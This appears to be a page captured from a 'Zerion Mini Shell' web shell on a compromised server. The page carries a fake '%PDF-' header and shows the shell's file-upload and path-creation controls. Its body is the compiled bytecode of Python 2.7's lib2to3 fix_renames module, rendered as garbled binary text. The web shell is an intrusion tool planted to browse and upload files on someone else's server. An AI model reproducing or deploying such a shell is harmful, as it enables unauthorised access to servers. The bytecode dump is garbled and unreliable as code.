%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/lib2to3/fixes/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/lib2to3/fixes/fix_renames.pyc

σ
Pκαac@sudZddlmZddlmZmZiidd6d6ZiZd„Zd„Z	d	ej
fd
„ƒYZdS(s?Fix incompatible renames

Fixes:
  * sys.maxint -> sys.maxsize
i(t
fixer_base(tNamet
attr_chaintmaxsizetmaxinttsyscCsddjtt|ƒƒdS(Nt(t|t)(tjointmaptrepr(tmembers((s5/usr/local/lib/python2.7/lib2to3/fixes/fix_renames.pyt
alternatessccsoxhtjƒD]Z\}}xK|jƒD]=\}}|t||f<d|||fVd||fVq&Wq
WdS(Ns£
                  import_from< 'from' module_name=%r 'import'
                      ( attr_name=%r | import_as_name< attr_name=%r 'as' any >) >
                  s^
                  power< module_name=%r trailer< '.' attr_name=%r > any* >
                  (tMAPPINGtitemstLOOKUP(tmoduletreplacetold_attrtnew_attr((s5/usr/local/lib/python2.7/lib2to3/fixes/fix_renames.pyt
build_patterns

t
FixRenamescBs8eZeZdjeƒƒZdZd„Zd„Z	RS(RtprecsUtt|ƒj‰ˆ|ƒ}|rQt‡fd†t|dƒDƒƒrMtS|StS(Nc3s|]}ˆ|ƒVqdS(N((t.0tobj(tmatch(s5/usr/local/lib/python2.7/lib2to3/fixes/fix_renames.pys	<genexpr>5stparent(tsuperRRtanyRtFalse(tselftnodetresults((Rs5/usr/local/lib/python2.7/lib2to3/fixes/fix_renames.pyR1s%cCsi|jdƒ}|jdƒ}|re|rett|j|jfƒ}|jt|d|jƒƒndS(Ntmodule_namet	attr_nametprefix(tgettunicodeRtvalueRRR$(RR R!tmod_nameR#R((s5/usr/local/lib/python2.7/lib2to3/fixes/fix_renames.pyt	transform>s
(
t__name__t
__module__tTruet
BM_compatibleR	RtPATTERNtorderRR)(((s5/usr/local/lib/python2.7/lib2to3/fixes/fix_renames.pyR*s
	
N(t__doc__tRt
fixer_utilRRRRR
RtBaseFixR(((s5/usr/local/lib/python2.7/lib2to3/fixes/fix_renames.pyt<module>s		

Zerion Mini Shell 1.0